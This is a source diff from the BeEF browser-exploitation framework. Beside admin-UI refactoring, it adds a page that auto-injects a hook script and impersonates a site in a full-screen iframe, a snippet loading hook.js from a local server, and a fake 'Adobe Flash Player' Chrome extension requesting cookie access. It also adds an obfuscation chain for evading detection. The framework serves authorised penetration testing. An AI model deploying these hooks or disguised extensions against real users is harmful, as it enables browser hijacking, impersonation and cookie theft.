|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
hooked_browser.count!
|
||||
hooked_browser.save
|
||||
|
||||
#Check if new modules need to be sent
|
||||
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
|
||||
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
|
||||
|
||||
#@todo antisnatchor:
|
||||
#@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
|
||||
#Check if new forged requests need to be sent (Requester/TunnelingProxy)
|
||||
dhook = BeEF::Extension::Requester::API::Hook.new
|
||||
dhook.requester_run(hooked_browser, '')
|
||||
|
||||
#Check if new XssRays scan need to be started
|
||||
xssrays = BeEF::Extension::Xssrays::API::Scan.new
|
||||
xssrays.start_scan(hooked_browser, '')
|
||||
end
|
||||
else
|
||||
#json recv is a cmd response decode and send all to
|
||||
#we have to call dynamicreconstructor handler camp must be websocket
|
||||
#print_debug("Received from WebSocket #{messageHash}")
|
||||
execute(msg_hash)
|
||||
end
|
||||
}
|
||||
rescue Exception => e
|
||||
print_error "WebSocket error: #{e}"
|
||||
end
|
||||
end
|
||||
}
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
#@note retrieve the right websocket channel given an hooked browser session
|
||||
#@param [String] session the hooked browser session
|
||||
def getsocket (session)
|
||||
if (@@activeSocket[session] != nil)
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
#@note send a function to hooked and ws browser
|
||||
#@param [String] fn the module to execute
|
||||
#@param [String] session the hooked browser session
|
||||
def send (fn, session)
|
||||
@@activeSocket[session].send(fn)
|
||||
end
|
||||
|
||||
BeEF::Core::Handlers::Commands
|
||||
#call the handler for websocket cmd response
|
||||
#@param [Hash] data contains the answer of a command
|
||||
def execute (data)
|
||||
command_results=Hash.new
|
||||
command_results["data"]=Base64.decode64(data["result"])
|
||||
command_results["data"].force_encoding('UTF-8')
|
||||
hooked_browser = data["bh"]
|
||||
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(hooked_browser)
|
||||
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
|
||||
(print_error "command name is empty"; return) if data["handler"].empty?
|
||||
(print_error "command results are empty"; return) if command_results.empty?
|
||||
handler = data["handler"]
|
||||
if handler.match(/command/)
|
||||
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
|
||||
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
|
||||
else #processing results from extensions, call the right handler
|
||||
data["beefhook"] = hooked_browser
|
||||
data["results"] = JSON.parse(Base64.decode64(data["result"]))
|
||||
if MOUNTS.has_key?(handler)
|
||||
if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2
|
||||
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
|
||||
else
|
||||
MOUNTS[handler].new(data)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -30,6 +30,11 @@ module BeEF
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# @note Return a can of Leffe to the thirsty Bovine Security Team member. AthCon2012 joke /antisnatchor/
|
||||
#get "/to/a/pub"
|
||||
# "BeER please"
|
||||
#end
|
||||
|
||||
# @note Get online and offline hooked browsers details (like name, version, os, ip, port, ...)
|
||||
get '/' do
|
||||
online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15)))
|
||||
|
||||
@@ -29,7 +29,8 @@ module BeEF
|
||||
def initialize
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||
@url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}"
|
||||
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
|
||||
@url = "http://#{beef_host}:#{beef_port}"
|
||||
@root_dir = File.expand_path('../../../', __FILE__)
|
||||
@command_urls = {}
|
||||
@mounts = {}
|
||||
@@ -44,6 +45,8 @@ module BeEF
|
||||
'beef_root_dir' => @root_dir,
|
||||
'beef_host' => @configuration.get('beef.http.host'),
|
||||
'beef_port' => @configuration.get('beef.http.port'),
|
||||
'beef_public' => @configuration.get('beef.http.public'),
|
||||
'beef_public_port' => @configuration.get('beef.http.public_port'),
|
||||
'beef_dns' => @configuration.get('beef.http.dns'),
|
||||
'beef_hook' => @configuration.get('beef.http.hook_file')
|
||||
}
|
||||
|
||||
@@ -33,11 +33,20 @@ module BeEF
|
||||
def self.get_categories
|
||||
categories = []
|
||||
BeEF::Core::Configuration.instance.get('beef.module').each {|k,v|
|
||||
if not categories.include?(v['category'])
|
||||
categories << v['category']
|
||||
flatcategory = ""
|
||||
if v['category'].kind_of?(Array)
|
||||
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
|
||||
v['category'].each {|cat|
|
||||
flatcategory << cat + "/"
|
||||
}
|
||||
else
|
||||
flatcategory = v['category']
|
||||
end
|
||||
if not categories.include?(flatcategory)
|
||||
categories << flatcategory
|
||||
end
|
||||
}
|
||||
return categories.sort
|
||||
return categories.sort.uniq #This is now uniqued, because otherwise the recursive function to build the json tree breaks if there are duplicates.
|
||||
end
|
||||
|
||||
# Get all modules currently stored in the database
|
||||
|
||||
@@ -119,21 +119,36 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the date stamp
|
||||
date_stamp = BD.get(zombie_session, 'DateStamp')
|
||||
if not date_stamp.nil?
|
||||
encoded_date_stamp = CGI.escapeHTML(date_stamp)
|
||||
encoded_date_stamp_hash = { 'Date' => encoded_date_stamp }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_date_stamp_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the os name
|
||||
os_name = BD.get(zombie_session, 'OsName')
|
||||
if not host_name.nil?
|
||||
encoded_os_name = CGI.escapeHTML(os_name)
|
||||
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
|
||||
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_os_name_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
|
||||
# set and add the return values for the browser name
|
||||
browser_name = BD.get(zombie_session, 'BrowserName')
|
||||
if not browser_name.nil?
|
||||
@@ -224,24 +239,24 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
end
|
||||
|
||||
# set and add the zombie screen size and color depth
|
||||
screen_params = BD.get(zombie_session, 'ScreenParams')
|
||||
if not screen_params.nil?
|
||||
screen_size = BD.get(zombie_session, 'ScreenSize')
|
||||
if not screen_size.nil?
|
||||
|
||||
screen_params_hash = JSON.parse(screen_params.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
||||
width = screen_params_hash['width']
|
||||
screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
||||
width = screen_size_hash['width']
|
||||
(print_error "width is wrong type";return) if not width.is_a?(Fixnum)
|
||||
height = screen_params_hash['height']
|
||||
height = screen_size_hash['height']
|
||||
(print_error "height is wrong type";return) if not height.is_a?(Fixnum)
|
||||
colordepth = screen_params_hash['colordepth']
|
||||
colordepth = screen_size_hash['colordepth']
|
||||
(print_error "colordepth is wrong type";return) if not colordepth.is_a?(Fixnum)
|
||||
|
||||
# construct the string to be displayed in the details tab
|
||||
encoded_screen_params = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
|
||||
encoded_screen_params_hash = { 'Screen Params' => encoded_screen_params }
|
||||
encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
|
||||
encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_screen_params_hash,
|
||||
'data' => encoded_screen_size_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
@@ -427,8 +442,28 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
return BeEF::Module.support(mod, {'browser' => BD.get(hook_session_id, 'BrowserName'), 'ver' => BD.get(hook_session_id, 'BrowserVersion'), 'os' => [BD.get(hook_session_id, 'OsName')]})
|
||||
end
|
||||
|
||||
def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)
|
||||
# If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse
|
||||
# into the tree to find where it goes
|
||||
def update_command_module_tree_recurse(tree,category,leaf)
|
||||
working_category = category.shift
|
||||
|
||||
tree.each {|t|
|
||||
if t['text'].eql? working_category and category.count > 0
|
||||
#We have deeper to go
|
||||
update_command_module_tree_recurse(t['children'],category,leaf)
|
||||
elsif t['text'].eql? working_category
|
||||
#Bingo
|
||||
t['children'].push(leaf)
|
||||
break
|
||||
end
|
||||
}
|
||||
|
||||
#return tree
|
||||
|
||||
end
|
||||
|
||||
#Add the command to the tree
|
||||
def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)
|
||||
# construct leaf node for the command module tree
|
||||
leaf_node = {
|
||||
'text' => cmd_name,
|
||||
@@ -439,24 +474,99 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
}
|
||||
|
||||
# add the node to the branch in the command module tree
|
||||
tree.each {|x|
|
||||
if x['text'].eql? cmd_category
|
||||
x['children'].push( leaf_node )
|
||||
break
|
||||
end
|
||||
}
|
||||
if cmd_category.is_a?(Array)
|
||||
#The category is an array, therefore it's a sub-folderised category
|
||||
cat_copy = cmd_category.dup #Don't work with the original array, because, then it breaks shit
|
||||
update_command_module_tree_recurse(tree,cat_copy,leaf_node)
|
||||
else
|
||||
#original logic here, simply add the command to the tree.
|
||||
tree.each {|x|
|
||||
if x['text'].eql? cmd_category
|
||||
x['children'].push( leaf_node )
|
||||
break
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#Recursive function to build the tree now with sub-folders
|
||||
def build_recursive_tree(parent,input)
|
||||
cinput = input.shift.chomp('/')
|
||||
if cinput.split('/').count == 1 #then we have a single folder now
|
||||
if parent.detect {|p| p['text'] == cinput}.nil?
|
||||
parent << {'text' => cinput, 'cls' => 'folder', 'children' => []}
|
||||
else
|
||||
if input.count > 0
|
||||
parent.each {|p|
|
||||
if p['text'] == cinput
|
||||
p['children'] = build_recursive_tree(p['children'],input)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
else
|
||||
#we have multiple folders
|
||||
newinput = cinput.split('/')
|
||||
newcinput = newinput.shift
|
||||
if parent.detect {|p| p['text'] == newcinput }.nil?
|
||||
fldr = {'text' => newcinput, 'cls' => 'folder', 'children' => []}
|
||||
parent << build_recursive_tree(fldr['children'],newinput)
|
||||
else
|
||||
parent.each {|p|
|
||||
if p['text'] == newcinput
|
||||
p['children'] = build_recursive_tree(p['children'],newinput)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
if input.count > 0
|
||||
return build_recursive_tree(parent,input)
|
||||
else
|
||||
return parent
|
||||
end
|
||||
end
|
||||
|
||||
#Recursive function to sort all the parent's children
|
||||
def sort_recursive_tree(parent)
|
||||
# sort the children nodes by status and name
|
||||
parent.each {|x|
|
||||
#print_info "Sorting: " + x['children'].to_s
|
||||
if x.is_a?(Hash) and x.has_key?('children')
|
||||
x['children'] = x['children'].sort_by {|a|
|
||||
fldr = a['cls'] ? a['cls'] : 'zzzzz'
|
||||
"#{fldr}#{a['status']}#{a['text']}"
|
||||
}
|
||||
x['children'].each {|c|
|
||||
sort_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
|
||||
}
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#Recursive function to retitle folders with the number of children
|
||||
def retitle_recursive_tree(parent)
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
parent.each {|command_module_branch|
|
||||
if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children')
|
||||
num_of_command_modules = command_module_branch['children'].length
|
||||
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
|
||||
command_module_branch['children'].each {|c|
|
||||
retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
|
||||
}
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules for a TreePanel in the interface.
|
||||
def select_command_modules_tree
|
||||
blanktree = []
|
||||
tree = []
|
||||
BeEF::Modules.get_categories.each { |c|
|
||||
tree.push({
|
||||
'text' => c,
|
||||
'cls' => 'folder',
|
||||
'children' => []
|
||||
})
|
||||
}
|
||||
|
||||
#Due to the sub-folder nesting, we use some really badly hacked together recursion
|
||||
#Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x
|
||||
tree = build_recursive_tree(blanktree,BeEF::Modules.get_categories)
|
||||
|
||||
BeEF::Modules.get_enabled.each{|k, mod|
|
||||
# get the hooked browser session id and set it in the command module
|
||||
@@ -508,16 +618,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
# sort the parent array nodes
|
||||
tree.sort! {|a,b| a['text'] <=> b['text']}
|
||||
|
||||
# sort the children nodes by status and name
|
||||
tree.each {|x| x['children'] =
|
||||
x['children'].sort_by {|a| [a['status'],a['text']]}
|
||||
}
|
||||
sort_recursive_tree(tree)
|
||||
|
||||
retitle_recursive_tree(tree)
|
||||
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
tree.each {|command_module_branch|
|
||||
num_of_command_modules = command_module_branch['children'].length
|
||||
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
}
|
||||
|
||||
|
||||
# return a JSON array of hashes
|
||||
@body = tree.to_json
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -328,21 +328,36 @@ class ShellInterface
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the date
|
||||
date_stamp = BD.get(self.targetsession, 'DateStamp')
|
||||
if not date_stamp.nil?
|
||||
encoded_date_stamp = CGI.escapeHTML(date_stamp)
|
||||
encoded_date_stamp_hash = { 'Date' => encoded_date_stamp }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_date_stamp,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the os name
|
||||
os_name = BD.get(self.targetsession, 'OsName')
|
||||
if not os_name.nil?
|
||||
encoded_os_name = CGI.escapeHTML(os_name)
|
||||
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
|
||||
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_os_name_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
|
||||
# set and add the return values for the browser name
|
||||
browser_name = BD.get(self.targetsession, 'BrowserName')
|
||||
if not browser_name.nil?
|
||||
@@ -433,21 +448,21 @@ class ShellInterface
|
||||
end
|
||||
|
||||
# set and add the zombie screen size and color depth
|
||||
screen_params = BD.get(self.targetsession, 'ScreenParams')
|
||||
if not screen_params.nil?
|
||||
screen_size = BD.get(self.targetsession, 'ScreenSize')
|
||||
if not screen_size.nil?
|
||||
|
||||
screen_params_hash = JSON.parse(screen_params.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
||||
width = screen_params_hash['width']
|
||||
height = screen_params_hash['height']
|
||||
colordepth = screen_params_hash['colordepth']
|
||||
screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
||||
width = screen_size_hash['width']
|
||||
height = screen_size_hash['height']
|
||||
colordepth = screen_size_hash['colordepth']
|
||||
|
||||
# construct the string to be displayed in the details tab
|
||||
encoded_screen_params = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
|
||||
encoded_screen_params_hash = { 'Screen Params' => encoded_screen_params }
|
||||
encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
|
||||
encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_screen_params_hash,
|
||||
'data' => encoded_screen_size_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
|
||||
38
extensions/customhook/api.rb
Normal file
38
extensions/customhook/api.rb
Normal file
@@ -0,0 +1,38 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Customhook
|
||||
|
||||
module RegisterHttpHandlers
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
|
||||
|
||||
def self.mount_handler(beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
beef_server.mount(configuration.get("beef.extension.customhook.customhook_path"), BeEF::Extension::Customhook::Handler.new)
|
||||
end
|
||||
|
||||
def self.pre_http_start(beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
print_success "Successfully mounted a custom hook point"
|
||||
print_more "Mount Point: #{configuration.get('beef.extension.customhook.customhook_path')}\nLoading iFrame: #{configuration.get('beef.extension.customhook.customhook_target')}\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
24
extensions/customhook/config.yaml
Normal file
24
extensions/customhook/config.yaml
Normal file
@@ -0,0 +1,24 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
customhook:
|
||||
enable: false
|
||||
name: 'Custom Hook Point with iFrame Impersonation'
|
||||
customhook_path: "/yougotchipmunked"
|
||||
customhook_target: "http://www.chipmunks.com"
|
||||
customhook_title: "Alvin and the Chipmunks.."
|
||||
|
||||
33
extensions/customhook/extension.rb
Normal file
33
extensions/customhook/extension.rb
Normal file
@@ -0,0 +1,33 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Customhook
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'customhook'
|
||||
|
||||
@full_name = 'Custom Hook Point with iFrame Impersonation'
|
||||
|
||||
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/customhook/api'
|
||||
require 'extensions/customhook/handler'
|
||||
61
extensions/customhook/handler.rb
Normal file
61
extensions/customhook/handler.rb
Normal file
@@ -0,0 +1,61 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Customhook
|
||||
|
||||
class Handler
|
||||
|
||||
def call(env)
|
||||
@body = ''
|
||||
@request = Rack::Request.new(env)
|
||||
@params = @request.query_string
|
||||
@response = Rack::Response.new(body=[], 200, header={})
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html'))
|
||||
|
||||
@body << eruby.evaluate({'customhook_target' => config.get("beef.extension.customhook.customhook_target"),
|
||||
'customhook_title' => config.get("beef.extension.customhook.customhook_title")})
|
||||
|
||||
@response = Rack::Response.new(
|
||||
body = [@body],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/html',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# @note Object representing the HTTP request
|
||||
@request
|
||||
|
||||
# @note Object representing the HTTP response
|
||||
@response
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
18
extensions/customhook/html/index.html
Normal file
18
extensions/customhook/html/index.html
Normal file
@@ -0,0 +1,18 @@
|
||||
<html>
|
||||
<head>
|
||||
<title><%= @customhook_title %></title>
|
||||
<script>
|
||||
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<script>
|
||||
setTimeout("beef.dom.createIframe('fullscreen','get',{'src':'<%= @customhook_target %>'},{},null)",2000);
|
||||
document.body.scroll = "no";
|
||||
document.documentElement.style.overflow = 'hidden';
|
||||
//Porco dio - and away we go!
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
d=document;
|
||||
e=d.createElement('script');
|
||||
e.src="http://127.0.0.1:3000/hook.js";
|
||||
d.body.appendChild(e);
|
||||
BIN
extensions/demos/flash_update_chrome_extension/icon128.png
Normal file
BIN
extensions/demos/flash_update_chrome_extension/icon128.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 11 KiB |
BIN
extensions/demos/flash_update_chrome_extension/icon16.png
Normal file
BIN
extensions/demos/flash_update_chrome_extension/icon16.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.6 KiB |
BIN
extensions/demos/flash_update_chrome_extension/icon48.png
Normal file
BIN
extensions/demos/flash_update_chrome_extension/icon48.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 3.6 KiB |
26
extensions/demos/flash_update_chrome_extension/manifest.json
Normal file
26
extensions/demos/flash_update_chrome_extension/manifest.json
Normal file
@@ -0,0 +1,26 @@
|
||||
{
|
||||
// Simple chrome extension
|
||||
// Just loads beef into the extension context.
|
||||
//
|
||||
// You may need to set the IP address of the beef hook in background.js
|
||||
// Then you can pack the extension (from within the chrome extensions page) and add the crx file to extensions/demos/html/
|
||||
|
||||
"name": "Adobe Flash Player",
|
||||
"version": "11.2.202.235",
|
||||
"description": "Introduces vulnerabilites into web browsers",
|
||||
"background": {
|
||||
"scripts": ["background.js"]
|
||||
},
|
||||
"icons": {
|
||||
"16": "icon16.png",
|
||||
"48": "icon48.png",
|
||||
"128": "icon128.png"
|
||||
},
|
||||
"permissions": [
|
||||
"tabs",
|
||||
"http://*/*",
|
||||
"https://*/*",
|
||||
"file://*/*",
|
||||
"cookies"
|
||||
]
|
||||
}
|
||||
BIN
extensions/demos/html/adobe_flash_update.crx
Normal file
BIN
extensions/demos/html/adobe_flash_update.crx
Normal file
Binary file not shown.
BIN
extensions/demos/html/adobe_flash_update.png
Normal file
BIN
extensions/demos/html/adobe_flash_update.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 47 KiB |
@@ -15,12 +15,12 @@
|
||||
</p>
|
||||
|
||||
<p>
|
||||
These links are for demonstrating the "collect links" command module<br />
|
||||
These links are for demonstrating the "Get Page HREFs" command module<br />
|
||||
<ul>
|
||||
|
||||
<li><a href="http://beefproject.com" target="_blank">BeEF homepage</a>
|
||||
<li><a href="http://beefproject.com" target="_blank">The Browser Exploitation Framework Project homepage</a>
|
||||
<li><a href="http://ha.ckers.org/" target="_blank">ha.ckers.org homepage</a>
|
||||
<li><a href="http://slashdot.org/" target="_blank">Nerd homepage</a>
|
||||
<li><a href="http://slashdot.org/" target="_blank">Slashdot</a>
|
||||
|
||||
</ul>
|
||||
</p>
|
||||
|
||||
4
extensions/demos/html/clickjack.html
Normal file
4
extensions/demos/html/clickjack.html
Normal file
@@ -0,0 +1,4 @@
|
||||
<p> </p>
|
||||
<a href="#" onclick="javascript:alert('You clicked a link at '+window.location);">moooooooo</a>
|
||||
<p> </p>
|
||||
|
||||
28
extensions/evasion/config.yaml
Normal file
28
extensions/evasion/config.yaml
Normal file
@@ -0,0 +1,28 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
evasion:
|
||||
enable: true
|
||||
name: 'Evasion'
|
||||
authors: ["antisnatchor"]
|
||||
scramble_variables: true
|
||||
scramble_cookies: true
|
||||
scramble:
|
||||
beef: "beef"
|
||||
Beef: "Beef"
|
||||
evercookie: "evercookie"
|
||||
chain: ["scramble","minify","base_64"]
|
||||
71
extensions/evasion/evasion.rb
Normal file
71
extensions/evasion/evasion.rb
Normal file
@@ -0,0 +1,71 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Evasion
|
||||
class Evasion
|
||||
include Singleton
|
||||
@@config = BeEF::Core::Configuration.instance
|
||||
@@techniques = @@config.get('beef.extension.evasion.chain')
|
||||
|
||||
def initialize
|
||||
end
|
||||
|
||||
# Obfuscate the input JS applying the chain of techniques defined in the main config file.
|
||||
def obfuscate(input)
|
||||
@input = apply_chain(input, @@techniques)
|
||||
end
|
||||
|
||||
def add_bootstrapper
|
||||
@bootstrap = ''
|
||||
# add stuff at the end, only once (when serving the initial init javascript)
|
||||
@@techniques.each do |technique|
|
||||
#1. get the ruby module inside the obfuscation directory: the file name will be the same of the string used in "chain"
|
||||
#2. call the "execute" method of the ruby module, passing the input
|
||||
#3. update the input in order that next technique will work on the pre-processed input.
|
||||
if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb")
|
||||
print_debug "[OBFUSCATION] Applying technique [#{technique}]"
|
||||
klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance
|
||||
is_bootstrap_needed = klass.need_bootstrap
|
||||
if is_bootstrap_needed
|
||||
@bootstrap += klass.get_bootstrap
|
||||
end
|
||||
end
|
||||
@bootstrap
|
||||
end
